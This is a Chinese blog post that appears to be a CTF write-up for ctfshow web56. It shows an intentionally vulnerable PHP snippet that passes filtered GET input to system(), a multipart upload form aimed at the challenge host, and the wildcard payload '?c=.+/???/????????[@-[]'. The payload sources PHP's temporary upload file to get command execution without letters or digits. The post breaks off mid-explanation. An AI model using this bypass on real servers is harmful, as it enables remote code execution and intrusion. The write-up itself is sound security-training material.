无字母数字rce(ctfshow web入门56)

最新推荐文章于 2024-08-11 17:33:32 发布

林一不是01

最新推荐文章于 2024-08-11 17:33:32 发布

阅读量3.6k

点赞数 3

本文链接：https://blog.csdn.net/weixin_45785288/article/details/109435344

版权

无字母数字rce(ctfshow web入门56)

我们根据这一题直接进入主题

//web56
<?php
// 你们在炫技吗？
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}

过滤了字母，数字。

看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅

先说一下这一题的解题思路：

我们通过post一个文件(文件里面写入sh命令)，在上传的过程中，通过.(点，也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。（可以通过linux的匹配符去匹配）
**注意：通过.去执行sh命令不需要有执行权限**

好，接下来我已一个小白的角度分析题目所需的知识点。首先是构造一个post文件上传，这里面也是很复杂的，参考 PHP 文件上传

下面就是我们构造的post文件上传数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后直接抓包

在这里插入图片描述
接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符：